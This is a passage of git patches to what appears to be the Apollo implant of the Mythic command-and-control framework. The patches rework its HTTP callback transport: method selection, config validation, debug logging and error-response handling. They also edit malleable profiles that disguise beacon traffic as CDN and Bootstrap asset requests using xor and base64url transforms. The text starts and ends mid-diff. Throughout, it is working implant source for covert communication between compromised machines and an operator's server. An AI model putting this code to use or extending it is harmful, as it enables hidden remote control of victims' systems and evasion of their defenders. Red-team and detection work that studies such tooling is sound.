HttpWebResponse httpResponse, ServerConfig serverConfig) { - // For now, assume the entire response body is the data - // In a more sophisticated implementation, we could extract specific headers or cookies + // Check if server transforms include prepend/append that wrap encoded data + // This helps extract the actual payload from JSON/HTML wrappers + if (serverConfig?.Transforms != null && serverConfig.Transforms.Count > 0) + { + // Find prepend and append transforms + string prependValue = null; + string appendValue = null; + bool hasEncodingTransforms = false; + + foreach (var transform in serverConfig.Transforms) + { + if (transform.Action?.ToLower() == "prepend" && !string.IsNullOrEmpty(transform.Value)) + { + prependValue = transform.Value; + } + else if (transform.Action?.ToLower() == "append" && !string.IsNullOrEmpty(transform.Value)) + { + appendValue = transform.Value; + } + else if (transform.Action?.ToLower() == "base64" || + transform.Action?.ToLower() == "base64url" || + transform.Action?.ToLower() == "netbios" || + transform.Action?.ToLower() == "netbiosu") + { + hasEncodingTransforms = true; + } + } + + // If we have prepend/append wrapping encoded data, try to extract the inner portion + if (prependValue != null || appendValue != null) + { + // For JSON/HTML wrappers, we need to extract the encoded portion + // The encoded data is typically between the prepend and append values + string extractedData = response; + + // Try to find and extract the encoded portion + if (prependValue != null && extractedData.StartsWith(prependValue)) + { + extractedData = extractedData.Substring(prependValue.Length); + } + + if (appendValue != null && extractedData.EndsWith(appendValue)) + { + extractedData = extractedData.Substring(0, extractedData.Length - appendValue.Length); + } + + // If we successfully extracted something different, use it + // Otherwise fall back to full response (might be a different pattern) + if (extractedData != response && extractedData.Length > 0) + { + return Encoding.UTF8.GetBytes(extractedData); + } + } + } + + // Default: return entire response body as bytes + // This works when transforms don't wrap the data, or when extraction above didn't work return Encoding.UTF8.GetBytes(response); } diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs index 78913521..f17ab14c 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -198,46 +198,62 @@ public void Validate() if (string.IsNullOrEmpty(Name)) throw new ArgumentException("Configuration name is required"); - if (Get?.Uris == null || Get.Uris.Count == 0) - throw new ArgumentException("GET URIs are required"); - - if (Post?.Uris == null || Post.Uris.Count == 0) - throw new ArgumentException("POST URIs are required"); + // At least GET or POST must be configured + bool hasGet = Get?.Uris != null && Get.Uris.Count > 0; + bool hasPost = Post?.Uris != null && Post.Uris.Count > 0; + + if (!hasGet && !hasPost) + throw new ArgumentException("At least GET or POST URIs are required"); // Validate message locations var validLocations = new[] { "cookie", "query", "header", "body", "" }; - if (!Array.Exists(validLocations, loc => loc == Get?.Client?.Message?.Location)) - throw new ArgumentException("Invalid GET message location"); - - if (!Array.Exists(validLocations, loc => loc == Post?.Client?.Message?.Location)) - throw new ArgumentException("Invalid POST message location"); - // Validate transform actions var validActions = new[] { "base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append" }; - foreach (var transform in Get?.Client?.Transforms ?? new List()) - { - if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) - throw new ArgumentException($"Invalid GET client transform action: {transform.Action}"); - } - - foreach (var transform in Get?.Server?.Transforms ?? new List()) - { - if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) - throw new ArgumentException($"Invalid GET server transform action: {transform.Action}"); - } - - foreach (var transform in Post?.Client?.Transforms ?? new List()) + // Validate all configured HTTP methods + var variations = new Dictionary { - if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) - throw new ArgumentException($"Invalid POST client transform action: {transform.Action}"); - } - - foreach (var transform in Post?.Server?.Transforms ?? new List()) + { "GET", Get }, + { "POST", Post }, + { "PUT", Put }, + { "PATCH", Patch }, + { "DELETE", Delete }, + { "OPTIONS", Options }, + { "HEAD", Head } + }; + + foreach (var kvp in variations) { - if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) - throw new ArgumentException($"Invalid POST server transform action: {transform.Action}"); + var method = kvp.Key; + var variation = kvp.Value; + + if (variation == null) continue; // Method not configured, skip validation + + // Validate URIs + if (variation.Uris == null || variation.Uris.Count == 0) + throw new ArgumentException($"{method} URIs are required if {method} method is configured"); + + // Validate message location + if (variation.Client?.Message != null) + { + if (!Array.Exists(validLocations, loc => loc == variation.Client.Message.Location)) + throw new ArgumentException($"Invalid {method} message location: {variation.Client.Message.Location}"); + } + + // Validate client transforms + foreach (var transform in variation.Client?.Transforms ?? new List()) + { + if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) + throw new ArgumentException($"Invalid {method} client transform action: {transform.Action}"); + } + + // Validate server transforms + foreach (var transform in variation.Server?.Transforms ?? new List()) + { + if (!Array.Exists(validActions, action => action == transform.Action?.ToLower())) + throw new ArgumentException($"Invalid {method} server transform action: {transform.Action}"); + } } } } From fbfd9ff909a19a1aa6d080ae3ca9f1d6debc37bc Mon Sep 17 00:00:00 2001 From: melvin Date: Thu, 6 Nov 2025 14:10:15 +0100 Subject: [PATCH 29/37] validation logic now checks if an HTTP method is configured before requiring URIs. --- .../agent_code/HttpxTransform/HttpxConfig.cs | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs index f17ab14c..641c0ac5 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -230,6 +230,23 @@ public void Validate() if (variation == null) continue; // Method not configured, skip validation + // Check if method is actually configured (has verb set or has URIs) + // If neither, it's just a default initialized object and should be skipped + bool isConfigured = !string.IsNullOrEmpty(variation.Verb) || + (variation.Uris != null && variation.Uris.Count > 0) || + (variation.Client != null && ( + (variation.Client.Headers != null && variation.Client.Headers.Count > 0) || + (variation.Client.Parameters != null && variation.Client.Parameters.Count > 0) || + (variation.Client.Transforms != null && variation.Client.Transforms.Count > 0) || + (variation.Client.Message != null && !string.IsNullOrEmpty(variation.Client.Message.Location)) + )) || + (variation.Server != null && ( + (variation.Server.Headers != null && variation.Server.Headers.Count > 0) || + (variation.Server.Transforms != null && variation.Server.Transforms.Count > 0) + )); + + if (!isConfigured) continue; // Method not actually configured, skip validation + // Validate URIs if (variation.Uris == null || variation.Uris.Count == 0) throw new ArgumentException($"{method} URIs are required if {method} method is configured"); From 990cfcb3095016c261697f131674a3f36d0adc56 Mon Sep 17 00:00:00 2001 From: melvin Date: Thu, 6 Nov 2025 14:16:16 +0100 Subject: [PATCH 30/37] GetVariation always returns a VariationConfig object (never null), even for unconfigured methods --- .../agent_code/HttpxProfile/HttpxProfile.cs | 14 ++++----- .../agent_code/HttpxTransform/HttpxConfig.cs | 31 +++++++++++++++++++ 2 files changed, 38 insertions(+), 7 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index ea826981..e2cdbee3 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -369,28 +369,28 @@ public bool SendRecv(T message, OnResponse onResponse) if (messageBytes.Length > 500) { // Try POST, PUT, PATCH in order until we find a valid configuration - variation = Config.GetVariation("post") ?? Config.GetVariation("put") ?? Config.GetVariation("patch"); + variation = Config.GetConfiguredVariation("post") ?? Config.GetConfiguredVariation("put") ?? Config.GetConfiguredVariation("patch"); // Fall back to GET if no large-message methods are configured - if (variation == null || string.IsNullOrEmpty(variation.Verb) || variation.Uris == null || variation.Uris.Count == 0) + if (variation == null) { - variation = Config.GetVariation("get"); + variation = Config.GetConfiguredVariation("get"); } } else { // Small messages: use GET, HEAD, or OPTIONS - variation = Config.GetVariation("get") ?? Config.GetVariation("head") ?? Config.GetVariation("options"); + variation = Config.GetConfiguredVariation("get") ?? Config.GetConfiguredVariation("head") ?? Config.GetConfiguredVariation("options"); // Fall back to POST if no small-message methods are configured - if (variation == null || string.IsNullOrEmpty(variation.Verb) || variation.Uris == null || variation.Uris.Count == 0) + if (variation == null) { - variation = Config.GetVariation("post"); + variation = Config.GetConfiguredVariation("post"); } } // Final fallback to ensure we have a valid variation - if (variation == null || string.IsNullOrEmpty(variation.Verb) || variation.Uris == null || variation.Uris.Count == 0) + if (variation == null) { throw new InvalidOperationException("No valid HTTP method variation found in configuration. Please ensure your Httpx config defines at least GET or POST methods."); } diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs index 641c0ac5..d261a545 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -149,6 +149,37 @@ public VariationConfig GetVariation(string method) } } + /// + /// Check if a variation is actually configured (has verb, URIs, or meaningful config) + /// + public bool IsVariationConfigured(VariationConfig variation) + { + if (variation == null) + return false; + + return !string.IsNullOrEmpty(variation.Verb) || + (variation.Uris != null && variation.Uris.Count > 0) || + (variation.Client != null && ( + (variation.Client.Headers != null && variation.Client.Headers.Count > 0) || + (variation.Client.Parameters != null && variation.Client.Parameters.Count > 0) || + (variation.Client.Transforms != null && variation.Client.Transforms.Count > 0) || + (variation.Client.Message != null && !string.IsNullOrEmpty(variation.Client.Message.Location)) + )) || + (variation.Server != null && ( + (variation.Server.Headers != null && variation.Server.Headers.Count > 0) || + (variation.Server.Transforms != null && variation.Server.Transforms.Count > 0) + )); + } + + /// + /// Get a configured variation by HTTP method name, returns null if not configured + /// + public VariationConfig GetConfiguredVariation(string method) + { + var variation = GetVariation(method); + return IsVariationConfigured(variation) ? variation : null; + } + /// /// Load configuration from JSON string /// From bcc03f5ee9d369b0da1244eae3b9551bd7c23e7b Mon Sep 17 00:00:00 2001 From: melvin Date: Thu, 6 Nov 2025 14:21:55 +0100 Subject: [PATCH 31/37] Enhanced debug logging in SendRecv when running in debug --- .../agent_code/HttpxProfile/HttpxProfile.cs | 125 +++++++++++++++++- 1 file changed, 123 insertions(+), 2 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index e2cdbee3..bca600d3 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -366,25 +366,40 @@ public bool SendRecv(T message, OnResponse onResponse) // Default behavior: use POST for large messages (>500 bytes), GET for small messages // This supports any HTTP method (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) from config VariationConfig variation = null; +#if DEBUG + DebugWriteLine($"[SendRecv] Message size: {messageBytes.Length} bytes"); +#endif if (messageBytes.Length > 500) { +#if DEBUG + DebugWriteLine("[SendRecv] Large message (>500 bytes), selecting POST/PUT/PATCH variation"); +#endif // Try POST, PUT, PATCH in order until we find a valid configuration variation = Config.GetConfiguredVariation("post") ?? Config.GetConfiguredVariation("put") ?? Config.GetConfiguredVariation("patch"); // Fall back to GET if no large-message methods are configured if (variation == null) { +#if DEBUG + DebugWriteLine("[SendRecv] No POST/PUT/PATCH configured, falling back to GET"); +#endif variation = Config.GetConfiguredVariation("get"); } } else { +#if DEBUG + DebugWriteLine("[SendRecv] Small message (<=500 bytes), selecting GET/HEAD/OPTIONS variation"); +#endif // Small messages: use GET, HEAD, or OPTIONS variation = Config.GetConfiguredVariation("get") ?? Config.GetConfiguredVariation("head") ?? Config.GetConfiguredVariation("options"); // Fall back to POST if no small-message methods are configured if (variation == null) { +#if DEBUG + DebugWriteLine("[SendRecv] No GET/HEAD/OPTIONS configured, falling back to POST"); +#endif variation = Config.GetConfiguredVariation("post"); } } @@ -395,14 +410,27 @@ public bool SendRecv(T message, OnResponse onResponse) throw new InvalidOperationException("No valid HTTP method variation found in configuration. Please ensure your Httpx config defines at least GET or POST methods."); } +#if DEBUG + DebugWriteLine($"[SendRecv] Selected variation: {variation.Verb}"); + DebugWriteLine($"[SendRecv] Available URIs: [{string.Join(", ", variation.Uris)}]"); + DebugWriteLine($"[SendRecv] Message location: {variation.Client?.Message?.Location ?? "none"}"); + DebugWriteLine($"[SendRecv] Message name: {variation.Client?.Message?.Name ?? "none"}"); +#endif + // Apply client transforms byte[] transformedData = TransformChain.ApplyClientTransforms(messageBytes, variation.Client.Transforms); + string url = null; // Declare outside try block for error logging try { string domain = GetCurrentDomain(); string uri = variation.Uris[Random.Next(variation.Uris.Count)]; - string url = domain + uri; + url = domain + uri; +#if DEBUG + DebugWriteLine($"[SendRecv] Domain: {domain}"); + DebugWriteLine($"[SendRecv] Selected URI: {uri}"); + DebugWriteLine($"[SendRecv] Initial URL: {url}"); +#endif // Handle message placement and build final URL with query parameters if needed byte[] requestBodyBytes = null; @@ -445,6 +473,10 @@ public bool SendRecv(T message, OnResponse onResponse) queryParam += $"{variation.Client.Message.Name}={transformedString}"; } url = url.Split('?')[0] + "?" + queryParam; +#if DEBUG + DebugWriteLine($"[SendRecv] Final URL with query params: {url}"); + DebugWriteLine($"[SendRecv] Query param length: {queryParam.Length} chars"); +#endif break; case "cookie": @@ -452,12 +484,30 @@ public bool SendRecv(T message, OnResponse onResponse) case "body": default: requestBodyBytes = variation.Client.Message.Location.ToLower() == "body" ? transformedData : null; +#if DEBUG + if (variation.Client.Message.Location.ToLower() == "cookie") + { + DebugWriteLine($"[SendRecv] Message will be placed in cookie: {variation.Client.Message.Name}"); + } + else if (variation.Client.Message.Location.ToLower() == "header") + { + DebugWriteLine($"[SendRecv] Message will be placed in header: {variation.Client.Message.Name}"); + } + else if (variation.Client.Message.Location.ToLower() == "body") + { + DebugWriteLine($"[SendRecv] Message will be placed in body ({transformedData.Length} bytes)"); + } +#endif break; } // Create HttpWebRequest for full control over headers HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); request.Method = variation.Verb; +#if DEBUG + DebugWriteLine($"[SendRecv] HTTP Method: {variation.Verb}"); + DebugWriteLine($"[SendRecv] Final URL: {url}"); +#endif request.Timeout = TimeoutSeconds * 1000; request.ReadWriteTimeout = TimeoutSeconds * 1000; @@ -572,7 +622,11 @@ public bool SendRecv(T message, OnResponse onResponse) // For netbios/netbiosu, the data is already ASCII-printable letters // URL encoding is needed for cookies to handle any special characters string cookieValue = Encoding.UTF8.GetString(transformedData); - request.Headers[HttpRequestHeader.Cookie] = $"{variation.Client.Message.Name}={Uri.EscapeDataString(cookieValue)}"; + string cookieHeader = $"{variation.Client.Message.Name}={Uri.EscapeDataString(cookieValue)}"; + request.Headers[HttpRequestHeader.Cookie] = cookieHeader; +#if DEBUG + DebugWriteLine($"[SendRecv] Cookie header set: {variation.Client.Message.Name} (value length: {cookieValue.Length} chars)"); +#endif break; case "header": @@ -590,6 +644,9 @@ public bool SendRecv(T message, OnResponse onResponse) headerValue = Convert.ToBase64String(transformedData); } request.Headers[variation.Client.Message.Name] = headerValue; +#if DEBUG + DebugWriteLine($"[SendRecv] Custom header set: {variation.Client.Message.Name} (value length: {headerValue.Length} chars)"); +#endif break; } @@ -609,9 +666,32 @@ public bool SendRecv(T message, OnResponse onResponse) // Get response string response; HttpWebResponse httpResponse = null; +#if DEBUG + DebugWriteLine($"[SendRecv] Sending {variation.Verb} request to: {url}"); + DebugWriteLine($"[SendRecv] Request headers count: {request.Headers.Count}"); + DebugWriteLine($"[SendRecv] Request headers:"); + foreach (string headerName in request.Headers.AllKeys) + { + DebugWriteLine($"[SendRecv] {headerName}: {request.Headers[headerName]}"); + } + // Also log property-based headers + if (!string.IsNullOrEmpty(request.Accept)) + DebugWriteLine($"[SendRecv] Accept (property): {request.Accept}"); + if (!string.IsNullOrEmpty(request.UserAgent)) + DebugWriteLine($"[SendRecv] User-Agent (property): {request.UserAgent}"); + if (!string.IsNullOrEmpty(request.Referer)) + DebugWriteLine($"[SendRecv] Referer (property): {request.Referer}"); + if (requestBodyBytes != null && requestBodyBytes.Length > 0) + { + DebugWriteLine($"[SendRecv] Request body size: {requestBodyBytes.Length} bytes"); + } +#endif try { httpResponse = (HttpWebResponse)request.GetResponse(); +#if DEBUG + DebugWriteLine($"[SendRecv] Response received: {httpResponse.StatusCode} {httpResponse.StatusDescription}"); +#endif using (Stream responseStream = httpResponse.GetResponseStream()) { using (StreamReader reader = new StreamReader(responseStream)) @@ -675,7 +755,48 @@ public bool SendRecv(T message, OnResponse onResponse) { DebugWriteLine($"[SendRecv] HTTP Status Code: {httpResponse.StatusCode}"); DebugWriteLine($"[SendRecv] HTTP Status Description: {httpResponse.StatusDescription}"); + DebugWriteLine($"[SendRecv] Response Headers:"); + foreach (string headerName in httpResponse.Headers.AllKeys) + { + DebugWriteLine($"[SendRecv] {headerName}: {httpResponse.Headers[headerName]}"); + } + + // Try to read response body for additional context + try + { + using (Stream responseStream = httpResponse.GetResponseStream()) + { + if (responseStream != null) + { + using (StreamReader reader = new StreamReader(responseStream)) + { + string responseBody = reader.ReadToEnd(); + DebugWriteLine($"[SendRecv] Response body length: {responseBody.Length} chars"); + if (responseBody.Length > 0 && responseBody.Length < 500) + { + DebugWriteLine($"[SendRecv] Response body: {responseBody}"); + } + else if (responseBody.Length > 0) + { + DebugWriteLine($"[SendRecv] Response body (first 500 chars): {responseBody.Substring(0, Math.Min(500, responseBody.Length))}"); + } + } + } + } + } + catch (Exception readEx) + { + DebugWriteLine($"[SendRecv] Could not read response body: {readEx.Message}"); + } } + + // Log request details that failed + DebugWriteLine($"[SendRecv] Failed request details:"); + DebugWriteLine($"[SendRecv] Method: {variation?.Verb ?? "unknown"}"); + DebugWriteLine($"[SendRecv] URL: {url ?? "unknown"}"); + DebugWriteLine($"[SendRecv] Message location: {variation?.Client?.Message?.Location ?? "none"}"); + DebugWriteLine($"[SendRecv] Message name: {variation?.Client?.Message?.Name ?? "none"}"); + DebugWriteLine($"[SendRecv] Transformed data length: {transformedData?.Length ?? 0} bytes"); } #endif HandleDomainFailure(); From c810fd2c1149eb958f91b18731487ca17090b863 Mon Sep 17 00:00:00 2001 From: melvin Date: Thu, 6 Nov 2025 14:30:57 +0100 Subject: [PATCH 32/37] Even at error return, attempt to read data --- .../agent_code/HttpxProfile/HttpxProfile.cs | 59 ++++++++++++++++++- 1 file changed, 57 insertions(+), 2 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index bca600d3..8da4ba93 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -504,6 +504,9 @@ public bool SendRecv(T message, OnResponse onResponse) // Create HttpWebRequest for full control over headers HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); request.Method = variation.Verb; + // Ensure CookieContainer is null so we can manually set Cookie header + // If CookieContainer is set, manual Cookie header setting may be ignored + request.CookieContainer = null; #if DEBUG DebugWriteLine($"[SendRecv] HTTP Method: {variation.Verb}"); DebugWriteLine($"[SendRecv] Final URL: {url}"); @@ -626,6 +629,11 @@ public bool SendRecv(T message, OnResponse onResponse) request.Headers[HttpRequestHeader.Cookie] = cookieHeader; #if DEBUG DebugWriteLine($"[SendRecv] Cookie header set: {variation.Client.Message.Name} (value length: {cookieValue.Length} chars)"); + // Show preview of cookie value (first 100 chars) and encoded length + string cookiePreview = cookieValue.Length > 100 ? cookieValue.Substring(0, 100) + "..." : cookieValue; + DebugWriteLine($"[SendRecv] Cookie value preview: {cookiePreview}"); + DebugWriteLine($"[SendRecv] Cookie header length: {cookieHeader.Length} chars"); + DebugWriteLine($"[SendRecv] Cookie header (first 200 chars): {cookieHeader.Length > 200 ? cookieHeader.Substring(0, 200) + "..." : cookieHeader}"); #endif break; @@ -664,7 +672,7 @@ public bool SendRecv(T message, OnResponse onResponse) } // Get response - string response; + string response = null; HttpWebResponse httpResponse = null; #if DEBUG DebugWriteLine($"[SendRecv] Sending {variation.Verb} request to: {url}"); @@ -700,9 +708,53 @@ public bool SendRecv(T message, OnResponse onResponse) } } } + catch (WebException webEx) + { + // Some C2 servers return 404/other error codes but still include valid response data + // Check if we have an HttpWebResponse with a body we can read + if (webEx.Response is HttpWebResponse errorResponse) + { + httpResponse = errorResponse; +#if DEBUG + DebugWriteLine($"[SendRecv] WebException caught, but response available: {errorResponse.StatusCode} {errorResponse.StatusDescription}"); + DebugWriteLine($"[SendRecv] Attempting to read response body despite error status"); +#endif + using (Stream responseStream = errorResponse.GetResponseStream()) + { + if (responseStream != null) + { + using (StreamReader reader = new StreamReader(responseStream)) + { + response = reader.ReadToEnd(); +#if DEBUG + DebugWriteLine($"[SendRecv] Successfully read response body ({response.Length} chars) despite error status"); +#endif + // Continue processing - don't treat as error if we got response data + } + } + else + { + // No response stream, rethrow the exception + throw; + } + } + } + else + { + // No HttpWebResponse, rethrow the exception + throw; + } + } finally { - httpResponse?.Close(); + // Don't close httpResponse here if we're going to use it later + // It will be closed after we process the response + } + + // Ensure we got a response + if (response == null) + { + throw new InvalidOperationException("No response data received from server"); } HandleDomainSuccess(); @@ -715,6 +767,9 @@ public bool SendRecv(T message, OnResponse onResponse) string responseString = Encoding.UTF8.GetString(untransformedData); + // Close response after we've read all data + httpResponse?.Close(); + #if DEBUG try { From b194a6355fcaeeb799e9b24bd76ae2fd65a8e9e0 Mon Sep 17 00:00:00 2001 From: melvin Date: Thu, 6 Nov 2025 14:44:40 +0100 Subject: [PATCH 33/37] Narrowing support to POST/PUT/GET --- .../agent_code/HttpxProfile/HttpxProfile.cs | 79 ++---------- .../agent_code/HttpxTransform/HttpxConfig.cs | 29 +---- .../cdn-asset-delivery.json | 36 ++---- .../cloud-analytics.json | 112 ++---------------- .../enterprise-data-management.json | 44 ++----- malleable-profile-examples/github-api.json | 100 ++-------------- .../windows-update-service.json | 36 ++---- 7 files changed, 66 insertions(+), 370 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index 8da4ba93..fe009eb2 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -364,7 +364,7 @@ public bool SendRecv(T message, OnResponse onResponse) // Select HTTP method variation based on message size // Default behavior: use POST for large messages (>500 bytes), GET for small messages - // This supports any HTTP method (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) from config + // Only supports GET, POST, and PUT methods VariationConfig variation = null; #if DEBUG DebugWriteLine($"[SendRecv] Message size: {messageBytes.Length} bytes"); @@ -372,16 +372,16 @@ public bool SendRecv(T message, OnResponse onResponse) if (messageBytes.Length > 500) { #if DEBUG - DebugWriteLine("[SendRecv] Large message (>500 bytes), selecting POST/PUT/PATCH variation"); + DebugWriteLine("[SendRecv] Large message (>500 bytes), selecting POST/PUT variation"); #endif - // Try POST, PUT, PATCH in order until we find a valid configuration - variation = Config.GetConfiguredVariation("post") ?? Config.GetConfiguredVariation("put") ?? Config.GetConfiguredVariation("patch"); + // Try POST, then PUT in order until we find a valid configuration + variation = Config.GetConfiguredVariation("post") ?? Config.GetConfiguredVariation("put"); // Fall back to GET if no large-message methods are configured if (variation == null) { #if DEBUG - DebugWriteLine("[SendRecv] No POST/PUT/PATCH configured, falling back to GET"); + DebugWriteLine("[SendRecv] No POST/PUT configured, falling back to GET"); #endif variation = Config.GetConfiguredVariation("get"); } @@ -389,16 +389,16 @@ public bool SendRecv(T message, OnResponse onResponse) else { #if DEBUG - DebugWriteLine("[SendRecv] Small message (<=500 bytes), selecting GET/HEAD/OPTIONS variation"); + DebugWriteLine("[SendRecv] Small message (<=500 bytes), selecting GET variation"); #endif - // Small messages: use GET, HEAD, or OPTIONS - variation = Config.GetConfiguredVariation("get") ?? Config.GetConfiguredVariation("head") ?? Config.GetConfiguredVariation("options"); + // Small messages: use GET + variation = Config.GetConfiguredVariation("get"); - // Fall back to POST if no small-message methods are configured + // Fall back to POST if GET is not configured if (variation == null) { #if DEBUG - DebugWriteLine("[SendRecv] No GET/HEAD/OPTIONS configured, falling back to POST"); + DebugWriteLine("[SendRecv] No GET configured, falling back to POST"); #endif variation = Config.GetConfiguredVariation("post"); } @@ -504,9 +504,6 @@ public bool SendRecv(T message, OnResponse onResponse) // Create HttpWebRequest for full control over headers HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); request.Method = variation.Verb; - // Ensure CookieContainer is null so we can manually set Cookie header - // If CookieContainer is set, manual Cookie header setting may be ignored - request.CookieContainer = null; #if DEBUG DebugWriteLine($"[SendRecv] HTTP Method: {variation.Verb}"); DebugWriteLine($"[SendRecv] Final URL: {url}"); @@ -629,11 +626,6 @@ public bool SendRecv(T message, OnResponse onResponse) request.Headers[HttpRequestHeader.Cookie] = cookieHeader; #if DEBUG DebugWriteLine($"[SendRecv] Cookie header set: {variation.Client.Message.Name} (value length: {cookieValue.Length} chars)"); - // Show preview of cookie value (first 100 chars) and encoded length - string cookiePreview = cookieValue.Length > 100 ? cookieValue.Substring(0, 100) + "..." : cookieValue; - DebugWriteLine($"[SendRecv] Cookie value preview: {cookiePreview}"); - DebugWriteLine($"[SendRecv] Cookie header length: {cookieHeader.Length} chars"); - DebugWriteLine($"[SendRecv] Cookie header (first 200 chars): {cookieHeader.Length > 200 ? cookieHeader.Substring(0, 200) + "..." : cookieHeader}"); #endif break; @@ -672,7 +664,7 @@ public bool SendRecv(T message, OnResponse onResponse) } // Get response - string response = null; + string response; HttpWebResponse httpResponse = null; #if DEBUG DebugWriteLine($"[SendRecv] Sending {variation.Verb} request to: {url}"); @@ -708,53 +700,9 @@ public bool SendRecv(T message, OnResponse onResponse) } } } - catch (WebException webEx) - { - // Some C2 servers return 404/other error codes but still include valid response data - // Check if we have an HttpWebResponse with a body we can read - if (webEx.Response is HttpWebResponse errorResponse) - { - httpResponse = errorResponse; -#if DEBUG - DebugWriteLine($"[SendRecv] WebException caught, but response available: {errorResponse.StatusCode} {errorResponse.StatusDescription}"); - DebugWriteLine($"[SendRecv] Attempting to read response body despite error status"); -#endif - using (Stream responseStream = errorResponse.GetResponseStream()) - { - if (responseStream != null) - { - using (StreamReader reader = new StreamReader(responseStream)) - { - response = reader.ReadToEnd(); -#if DEBUG - DebugWriteLine($"[SendRecv] Successfully read response body ({response.Length} chars) despite error status"); -#endif - // Continue processing - don't treat as error if we got response data - } - } - else - { - // No response stream, rethrow the exception - throw; - } - } - } - else - { - // No HttpWebResponse, rethrow the exception - throw; - } - } finally { - // Don't close httpResponse here if we're going to use it later - // It will be closed after we process the response - } - - // Ensure we got a response - if (response == null) - { - throw new InvalidOperationException("No response data received from server"); + httpResponse?.Close(); } HandleDomainSuccess(); @@ -767,9 +715,6 @@ public bool SendRecv(T message, OnResponse onResponse) string responseString = Encoding.UTF8.GetString(untransformedData); - // Close response after we've read all data - httpResponse?.Close(); - #if DEBUG try { diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs index d261a545..d723b099 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -105,31 +105,16 @@ public class HttpxConfig [JsonProperty("put")] public VariationConfig Put { get; set; } - [JsonProperty("delete")] - public VariationConfig Delete { get; set; } - - [JsonProperty("patch")] - public VariationConfig Patch { get; set; } - - [JsonProperty("options")] - public VariationConfig Options { get; set; } - - [JsonProperty("head")] - public VariationConfig Head { get; set; } - public HttpxConfig() { Get = new VariationConfig(); Post = new VariationConfig(); Put = new VariationConfig(); - Delete = new VariationConfig(); - Patch = new VariationConfig(); - Options = new VariationConfig(); - Head = new VariationConfig(); } /// /// Get variation configuration by HTTP method name (case-insensitive) + /// Only supports GET, POST, and PUT methods /// public VariationConfig GetVariation(string method) { @@ -141,10 +126,6 @@ public VariationConfig GetVariation(string method) case "get": return Get; case "post": return Post; case "put": return Put; - case "delete": return Delete; - case "patch": return Patch; - case "options": return Options; - case "head": return Head; default: return null; } } @@ -242,16 +223,12 @@ public void Validate() // Validate transform actions var validActions = new[] { "base64", "base64url", "netbios", "netbiosu", "xor", "prepend", "append" }; - // Validate all configured HTTP methods + // Validate all configured HTTP methods (only GET, POST, PUT are supported) var variations = new Dictionary { { "GET", Get }, { "POST", Post }, - { "PUT", Put }, - { "PATCH", Patch }, - { "DELETE", Delete }, - { "OPTIONS", Options }, - { "HEAD", Head } + { "PUT", Put } }; foreach (var kvp in variations) diff --git a/malleable-profile-examples/cdn-asset-delivery.json b/malleable-profile-examples/cdn-asset-delivery.json index c2bf70d4..eab636c7 100644 --- a/malleable-profile-examples/cdn-asset-delivery.json +++ b/malleable-profile-examples/cdn-asset-delivery.json @@ -28,16 +28,12 @@ }, "transforms": [ { - "action": "netbiosu", - "value": "" + "action": "xor", + "value": "cdnAssetDelivery2024" }, { "action": "base64url", "value": "" - }, - { - "action": "xor", - "value": "cdnAssetDelivery2024" } ] }, @@ -54,11 +50,7 @@ "transforms": [ { "action": "prepend", - "value": "/*! Bootstrap v5.3.2 | MIT License | https://getbootstrap.com */" - }, - { - "action": "append", - "value": "@media (min-width: 